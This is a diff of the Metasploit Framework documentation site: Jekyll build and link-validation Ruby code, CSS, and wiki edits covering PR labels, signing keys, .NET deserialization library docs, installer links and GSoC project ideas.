# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The rendered tree HTML representation of the given modules
def render_modules(modules)
modules.map do |mod|
classes = render_child_modules?(mod) ? ' class="folder"' : ''
result = "<li#{classes}>#{heading_for_mod(mod)}"
if render_child_modules?(mod)
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
end
result += "</li>"
result
end.join("\n")
end
# @param [Hash] mod The module metadata object
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
def heading_for_mod(mod)
if render_child_modules?(mod)
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
else
config = Jekyll.sites.first.config
# Preference linking to module documentation over the module implementation
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
end
end
# @param [Hash] mod The module metadata object
# @return [TrueClass, FalseClass]
def render_child_modules?(mod)
mod[:children].length >= 1 && mod[:module_path].nil?
end
end
# Register the Liquid filter so any Jekyll page can render module information
Liquid::Template.register_filter(ModuleFilter)
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
Jekyll::Hooks.register :site, :after_init do |site|
begin
Jekyll.logger.info 'Calculating module stats'
metasploit_stats = MetasploitStats.new
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
Jekyll.logger.info 'Finished calculating module stats'
rescue
Jekyll.logger.error "Unable to to extractMetasploit stats"
raise
end
end
+133
View File
@@ -0,0 +1,133 @@
---
---
#main-content p {
text-align: justify;
}
/* Color highlighting for msf console text */
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
/* Module overview styles */
.module-structure li::before {
content: ' ' !important;
}
.module-structure a {
height: 100%;
padding: 0.2rem;
background-image: none;
overflow: initial;
display: inline-block;
width: 90%;
}
.module-controls {
line-height: 0;
border-bottom: 1px solid #ddd;
}
.module-controls a {
line-height: 1;
padding: 0.5rem;
display: inline-block;
}
.module-controls span {
display: inline-block;
}
.module-structure a, .module-structure a:hover {
background-image: none;
}
.module-structure a .target {
pointer-events: none;
display: inline-block;
text-decoration: none;
}
.module-structure a:hover .target {
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
background-repeat: repeat-x;
background-position: 0 100%;
background-size: 1px 1px;
}
.module-structure {
line-height: 2rem;
}
/* visual indentation lines */
.module-structure ul {
margin-left: 7px !important;
padding-left: 20px !important;
border-left: 1px dashed #d1d7de;
}
/* Never allow the top-most files/folders to be collapsed */
.module-structure > li.folder > ul {
display: block;
}
.module-structure li p {
margin: 0;
}
.module-structure li {
margin: 0;
list-style: none;
}
.module-structure ul {
display: none;
margin: 0;
}
.module-structure ul.open {
display: block;
}
/* Default li style - files */
.module-structure li::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
background-repeat: no-repeat;
width: 1rem;
height: 1rem;
background-position: center top;
background-size: 90% auto;
margin-top: 0;
vertical-align: middle;
margin-left: initial !important;
margin-right: 0.5rem !important;
display: inline-block !important;
position: initial !important;
}
/* li style - folders */
.module-structure li.folder::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
}
+76 -67
View File
@@ -3,13 +3,14 @@ require 'uri'
require 'open3'
require 'optparse'
require 'did_you_mean'
require 'kramdown'
require_relative './navigation'
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
#
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
# for nested documentation. This configuration is defiend in `navigation.rb`
# for nested documentation. This configuration is defined in `navigation.rb`
#
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
#
@@ -158,6 +159,10 @@ module Build
@links = {}
end
def syntax_errors_for(markdown)
MarkdownLinkSyntaxVerifier.errors_for(markdown)
end
def extract(markdown)
extracted_absolute_wiki_links = extract_absolute_wiki_links(markdown)
@links = @links.merge(extracted_absolute_wiki_links)
@@ -176,7 +181,7 @@ module Build
new_markdown.gsub!(link[:full_match], link[:replacement])
end
fix_github_username_links(new_markdown)
new_markdown
end
attr_reader :links
@@ -295,74 +300,66 @@ module Build
matched_pages.first.fetch(:new_path)
end
end
def fix_github_username_links(content)
known_github_names = [
'@0a2940',
'@ChrisTuncer',
'@TomSellers',
'@asoto-r7',
'@busterb',
'@bwatters-r7',
'@jbarnett-r7',
'@jlee-r7',
'@jmartin-r7',
'@mcfakepants',
'@Op3n4M3',
'@gwillcox-r7',
'@red0xff',
'@mkienow-r7',
'@pbarry-r7',
'@schierlm',
'@timwr',
'@zerosteiner',
'@zeroSteiner',
'@harmj0y',
]
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
ignored_tags = [
'@spid',
'@adf3',
'@LDAP-DC3',
'@harmj0yDescription',
'@phpsessid',
'@http_client',
'@abstract',
'@accepts_all_logins',
'@addresses',
'@aliases',
'@channel',
'@client',
'@dep',
'@handle',
'@instance',
'@param',
'@pid',
'@process',
'@return',
'@scanner',
'@yieldparam',
'@yieldreturn',
'@compressed',
'@content',
'@path',
'@sha1',
'@type',
'@git_repo_uri',
'@git_addr',
'@git_objs',
'@refs',
]
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
#
# Example bad: `[Human readable text](./some-documentation-link)`
# Example good: `[[Human readable text|./some-documentation-link]]`
class MarkdownLinkSyntaxVerifier
# Detects the usage of bad syntax and returns an array of detected errors
#
# @param [String] markdown The markdown
# @return [Array<String>] An array of human readable errors that should be resolved
def self.errors_for(markdown)
document = Kramdown::Document.new(markdown)
document.to_validated_wiki_page
warnings = document.warnings.select { |warning| warning.start_with?(Kramdown::Converter::ValidatedWikiPage::WARNING_PREFIX) }
warnings
end
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
content.gsub(/(?<![\[|\w])@[\w-]+/) do |username|
if known_github_names.include? username
"[#{username}](https://www.github.com/#{username.gsub('@', '')})"
elsif ignored_tags.include? username
username
else
raise "Unexpected username: '#{username}'"
# Implementation detail: There doesn't seem to be a generic AST visitor pattern library for Ruby; We instead implement
# Kramdown's Markdown to HTML Converter API, override the link converter method, and warn on any invalid links that are identified.
# The {MarkdownLinkVerifier} will ignore the HTML result, and return any detected errors instead.
#
# https://kramdown.gettalong.org/rdoc/Kramdown/Converter/Html.html
class Kramdown::Converter::ValidatedWikiPage < Kramdown::Converter::Html
WARNING_PREFIX = '[WikiLinkValidation]'
def convert_a(el, indent)
link_href = el.attr['href']
if relative_link?(link_href)
link_text = el.children.map { |child| convert(child) }.join
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
end
if absolute_docs_link?(link_href)
begin
example_path = ".#{URI.parse(link_href).path}"
rescue URI::InvalidURIError
example_path = "./path-to-markdown-file"
end
link_text = el.children.map { |child| convert(child) }.join
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
end
super
end
private
def warning(text)
super "#{WARNING_PREFIX} #{text}"
end
def relative_link?(link_path)
!(link_path.start_with?('http:') || link_path.start_with?('https:') || link_path.start_with?('mailto:') || link_path.start_with?('#'))
end
# @return [TrueClass, FalseClass] True if the link is to a Metasploit docs page that isn't either the root home page or the API site, otherwise false
def absolute_docs_link?(link_path)
link_path.include?('docs.metasploit.com') && !link_path.include?('docs.metasploit.com/api') && !(link_path == 'https://docs.metasploit.com/')
end
end
end
@@ -461,13 +458,25 @@ module Build
def link_corrector_for(config)
link_corrector = LinkCorrector.new(config)
errors = []
config.each do |page|
unless page[:path].nil?
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
syntax_errors = link_corrector.syntax_errors_for(content)
errors << { path: page[:path], messages: syntax_errors } if syntax_errors.any?
link_corrector.extract(content)
end
end
if errors.any?
errors.each do |error|
$stderr.puts "[!] Error #{File.join(WIKI_PATH, error[:path])}:\n#{error[:messages].map { |message| "\t- #{message}\n" }.join}"
end
raise "Errors found in markdown syntax"
end
link_corrector
end
end
@@ -1,17 +1,41 @@
Maintainers can assign labels to both issues and pull requests.
### Attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Bug
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
### Breaking Change
Features that are great, but will cause breaking changes and should be deployed on a large release.
### Code Quality
When a PR improves code quality.
### Confirmed
Specifically for issues that have been confirmed by a committer.
### Docs
Documentation changes, such as YARD markup, or README.md, or something along those lines.
### External
### External Modules
Touches something in /external, or the Gemfile, or something like that.
PRs dealing with modules run as their own process.
### Heartbleed
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
### Hotness
Something we're really excited about.
### Library
Touches something in /lib.
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
### Module
Touches something in /modules
Touches something in /modules.
### Specs
### Needs Linting
Has specs (an rspec test)
The module needs additional work to pass our automated linting rules.
### Needs More Information
The issue lacks enough detail to replicate/resolve successfully.
### Newbie Friendly
Something that's pretty easy to test or tackle.
### attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Needs unique branch
Your submitted a PR from your `master` branch.
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
### Needs-docs
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
### Not Stale
Label to stop an issue from being auto closed.
### Osx
Label for any osx related work.
### Payload
Touches something related to a payload.
### RN (Release notes)
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
statistics:
#### rn-enhancement
Release notes for an enhancement.
#### rn-fix
Release notes for a fix.
#### rn-modules
Release notes for new or majorly enhanced modules.
#### rn-no-release-notes
The PR is too small or insignificant to warrant release notes.
#### rn-wiki
Release notes for Metasploit Framework wiki.
### Stale
Marks an issue as stale, to be closed if no action is taken.
### Suggestion
Suggestions for new functionality.
### Suggestion-docs
New documentation suggestions.
### Suggestion-feature
New feature suggestions.
### Suggestion-Module
New module suggestions.
### Usability
Usability improvements.
### YARD
YARD Documentation Tasks for API Documentation.
@@ -1,4 +1,4 @@
This page lists the keys in use by [Metasploit committers][msf-committers] and
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
# Keybase.io identities
@@ -106,7 +106,7 @@ Enter passphrase: [...]
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name = Your Name
email = your_email@example.com
@@ -114,11 +114,10 @@ Enter passphrase: [...]
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
[msf-committers]:https://docs.metasploit.com/docs/development/maintainers/committer-rights.html
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
[tracking]:https://github.com/keybase/keybase-issues/issues/100
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
# Thank you
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
```ruby
```ruby
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
@@ -156,7 +156,7 @@ def attempt_login(credential)
begin
success = connect_login(credential.public, credential.private)
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
success = false
end
@@ -170,7 +170,7 @@ def attempt_login(credential)
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
```
```
### scan!
@@ -1,7 +1,7 @@
Metasploit includes a library for leveraging .NET deserialization attacks. Using
it within a module is very straight forward, the module author just needs to
know two things: the gadget chain and the formatter. The library uses the same
names for each of these values as the [YSoSerial.NET][1] project for
names for each of these values as the [YSoSerial.NET][ysoserial] project for
compatibility, although the Metasploit library only supports a subset of the
functionality.
@@ -69,7 +69,7 @@ serialized = ::Msf::Util::DotNetDeserialization.generate(
The library also has an interface available as a standalone command line tool
which is suitable for creating payloads for single-use research purposes. This
tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The
arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing
arguments for this tool are aligned with those of [YSoSerial.NET][ysoserial], allowing
the arguments of basic invocations to be the same. It should be noted however
that the [supported](#support-matrix) gadgets and formatters are not the same.
@@ -109,13 +109,13 @@ generate functions while the `-f` / `--formatter` arguments maps to the
## Making Changes
Adding new gadget chains and formatters involves creating a new file in the
respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The
"native" gadget chain type is implemented following the [MS-NRBF][3] format and
the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new
respective library directory: [`lib/msf/util/dot_net_deserialization`][dot-net-deserialization-root]. The
"native" gadget chain type is implemented following the [MS-NRBF] format and
the [Bindata][] records as defined in [`types/`][dot-net-deserialization-types] subdirectory. Once the new
gadget chain or formatter is implemented, it needs to be added to the main
library file ([`dot_net_deserialization.rb`][6]).
library file ([`dot_net_deserialization.rb`][dot-net-deserialization-rb]).
Since serialization chain generate is deterministic, a [unit test][7] should be
Since serialization chain generate is deterministic, a [unit test][unit-test] should be
added for any new gadget chain to ensure that the checksum of the
BinaryFormatter representation is consistent.
@@ -124,15 +124,13 @@ Since the .NET deserialization gadgets run operating system commands, the
following resources can be helpful for module developers to deliver native
payloads such as Meterpreter.
* [How to use command stagers][8]
* [How to use Powershell in an exploit][9]
* [[How to use command stagers|./how-to-use-command-stagers.md]]
* [[How to use Powershell in an exploit|./how-to-use-powershell-in-an-exploit.md]]
[1]: https://github.com/pwntester/ysoserial.net
[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
[4]: https://github.com/dmendel/bindata
[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
[8]: https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html
[9]: https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-powershell-in-an-exploit.html
[ysoserial]: https://github.com/pwntester/ysoserial.net
[dot-net-deserialization-root]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization
[MS-NRBF]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5
[Bindata]: https://github.com/dmendel/bindata
[dot-net-deserialization-types]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types
[dot-net-deserialization-rb]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb
[unit-test]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|Download Link|File Type|SHA1|PGP|
|-|-|-|-|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order.
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
Mentors: [@busterb](https://github.com/busterb), [@zerosteiner](https://github.com/zerosteiner), [@timwr](https://github.com/timwr), [@asoto-r7](https://github.com/asoto-r7), [@jmartin-r7](https://github.com/jmartin-r7), [@pbarry-r7](https://github.com/pbarry-r7), [@mkienow-r7](https://github.com/mkienow-r7), [@jbarnett-r7](https://github.com/jbarnett-r7)
## Enhance Metasploit Framework
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
## Enhance Metasploit Framework
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
## Enhance Metasploit Framework
@@ -1,6 +1,6 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7), [@gwillcox-r7](https://github.com/gwillcox-r7)
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
@@ -24,7 +24,7 @@ Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
@@ -58,7 +58,7 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
@@ -1,8 +1,8 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @jmartin-r7, @gwillcox-r7
Mentors: [@jmartin-r7](https://github.com/jmartin-r7)
Slack Contacts: @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
@@ -17,18 +17,11 @@ Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell?referrer=msf_docs). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
@@ -51,9 +44,9 @@ Difficulty: 4/5
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [[Metasploit-Data-Service-Enhancements-(Goliath)|./Metasploit-Data-Service-Enhancements-Goliath]]
Size: Medium/Large (Depends on proposal)
Size: Medium/Large (Depends on proposal)
